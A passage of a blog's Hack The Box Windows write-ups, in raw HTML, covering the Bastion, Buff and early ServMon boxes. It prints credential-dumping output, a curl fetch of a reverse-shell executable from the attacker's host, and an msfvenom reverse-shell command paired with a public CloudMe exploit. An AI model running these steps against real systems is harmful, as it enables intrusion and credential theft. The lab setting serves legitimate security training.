class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get install libguestfs-tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get install cifs-utils&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t cifs //10.10.10.134/backups /mnt/remote -o rw&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/&amp;#39;Backup 2019-02-22 124351&amp;#39;/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I needed to copy out the SAM and SYSTEM files from C:\Windows\System32\config and rename them sam.hiv and system.hiv.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then it was just a matter of decrypting them. My Kali installation didn&amp;rsquo;t have this py file, so I moved them to Windows and decrypted them there.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Cleaning up...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The Administrator password was empty, so I would most likely need to get back in and escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried logging in many different ways, but authentication kept failing. After trying for a long time, I finally remembered that port 22 was still sitting there unused.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully. I&amp;rsquo;m skipping a long stretch here where I kept digging through files and found nothing. Later, I thought about trying something like sudo su, but that obviously wasn&amp;rsquo;t going to work and wasn&amp;rsquo;t realistic. Then it suddenly clicked: since I was using SSH now, could I connect with a public key? After all, SAM told me this password was empty, although that did not necessarily mean it really was. So I started looking for a public key.&lt;/p&gt;&#10;&lt;p&gt;I found the configuration file here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But PubkeyAuthentication was commented out, so it seemed that public-key login was not allowed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At the very bottom, though, I found what looked like a public-key setting for the administrators match group?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I had absolutely no permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to the mount and searched through the backup again. I hadn&amp;rsquo;t tried looking through the ssh directory there before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there either.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck at this point. Instead of looking at a write-up, I checked the next-step hint on Hack The Box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So there was another remote connection tool?&lt;/p&gt;&#10;&lt;p&gt;I found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following the hint:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mRemoteNG/mRemoteNG/issues/1963" target="_blank" rel="noopener"&#10; &gt;https://github.com/mRemoteNG/mRemoteNG/issues/1963&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;password&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://www.errno.fr/mRemoteNG.html" target="_blank" rel="noopener"&#10; &gt;https://www.errno.fr/mRemoteNG.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gquere/mRemoteNG_password_decrypt/" target="_blank" rel="noopener"&#10; &gt;https://github.com/gquere/mRemoteNG_password_decrypt/&lt;/a&gt; # decryption script&lt;/p&gt;&#10;&lt;p&gt;Copying it directly would mess up the formatting, so I transferred it out over SMB.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\confCons.xml \\10.10.16.29\kali\confCons.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python mremoteng_decrypt.py confCons.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;result:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: DC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hostname: 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: thXLHM96BeKL0ER2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: L4mpje-PC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hostname: 192.168.1.75&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: L4mpje&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: bureaulampje&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;The difficulty was fair. For the initial shell, I might have spent a very long time searching if later players hadn&amp;rsquo;t written blog posts explaining how to mount the remote file. I got stuck on the privilege-escalation stage because I didn&amp;rsquo;t inspect every program carefully enough. At the time, I only looked through Program Files and never checked Program Files (x86). I still had to rely on Hack The Box&amp;rsquo;s guided mode: submitting the user flag gave me the next step. I really just need more practice.&lt;/p&gt;&#10;&lt;p&gt;Clean up the mounts afterward, or things can get a little sluggish.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First, leave the mount directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsof | grep &amp;#39;/mnt/vhd&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fuser -mv /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop related processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kill &amp;lt;pid&amp;gt; # Or use kill -9 &amp;lt;pid&amp;gt; to force termination&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unmount the VHD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guestunmount /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If that fails, try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fusermount -u /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unmount the CIFS share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If it reports busy, use:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount -l /mnt/remote # Lazy unmount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount -f /mnt/remote # Force unmount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Finally, remove the mount points&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rmdir /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rmdir /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="11buff"&gt;&lt;a href="#11buff" class="header-anchor"&gt;&lt;/a&gt;11.Buff&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 was hosting a gym website. After reading the site&amp;rsquo;s readme.md and doing some searching, I found the project page:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/" target="_blank" rel="noopener"&#10; &gt;https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an initial password here, but it had already been changed.&lt;/p&gt;&#10;&lt;p&gt;I downloaded the project and found a default user, but those credentials had been changed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I started auditing the code and noticed that upload.php didn&amp;rsquo;t seem to perform any authentication checks.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When I searched for an exploit, I actually found one with a CVE number. I wanted to make sure it hadn&amp;rsquo;t been written later by someone who had already completed the box:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/48506" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/48506&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Clearly, that exploit existed before this box was released, so it wasn&amp;rsquo;t something copied from somebody else&amp;rsquo;s write-up.&lt;/p&gt;&#10;&lt;p&gt;Exploiting it manually would have been simple enough. Crafting the file-upload request was a little tedious, but after setting the project up locally and capturing the request, I could have just changed the IP. I went with the exploit here for convenience.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That really was convenient. Time to start privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;Skipping over a long stretch here: I spent ages trying to upload an exe for a reverse shell, but nothing worked at all. Neither smb nor certutil worked.&lt;/p&gt;&#10;&lt;p&gt;The uploaded shell wouldn&amp;rsquo;t open either. After a lot of attempts, I finally got it working:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This can be uploaded&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The Ivan Sincek PHP script can also provide a reverse shell&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation:&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to be connected to the database.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the database was definitely running.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder I couldn&amp;rsquo;t use it.&lt;/p&gt;&#10;&lt;p&gt;After that, the connection kept dropping, and then I couldn&amp;rsquo;t do anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to another openvpn node fixed it.&lt;/p&gt;&#10;&lt;p&gt;I found CloudMe_1112.exe in shaun&amp;rsquo;s download directory.&lt;/p&gt;&#10;&lt;p&gt;And I found an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following the instructions, I tried launching CloudMe_1112.exe, and it really did start locally. I wasn&amp;rsquo;t sure whether launching it as shaun and then exploiting the buffer overflow would give me administrator privileges, but it was still worth a try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it was listening locally, so I needed to set up a tunnel.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ve set up tunnels with frp plenty of times, so I won&amp;rsquo;t include that process here. The exploit only needed a few small changes. According to the instructions, I needed to generate shellcode:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Following the hint to avoid CMD, simply append LHOST=10.10.16.2 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x86 -p windows/shell_reverse_tcp -b &amp;#39;\x00\x0A\x0D&amp;#39; -f python LHOST=10.10.16.2 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Since it was generated as buf:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I just had to add payload = buf after copying it over.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It ran successfully without printing any output.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box wasn&amp;rsquo;t too bad overall. Getting a shell was easy enough to understand; getting the reverse shell was the real headache, probably because of the network adapter. Still, it was all fairly standard. The one thing I really need to learn more about is Windows privilege escalation. Previously, I&amp;rsquo;d always looked for programs in places like Program Files, but this time I found one in a user directory. It still took me a long time.&lt;/p&gt;&#10;&lt;h2 id="12servmon"&gt;&lt;a href="#12servmon" class="header-anchor"&gt;&lt;/a&gt;12.ServMon&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That rating really is a bit low.&lt;/p&gt;&#10;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb doesn&amp;rsquo;t allow anonymous login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The anonymous ftp login had two files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going by the hints, nathan&amp;rsquo;s Passwords.txt was placed on the desktop. Then there are Nathan&amp;rsquo;s notes: he&amp;rsquo;d already changed the passwords and locked down access to NSClient? Below that, he also mentions 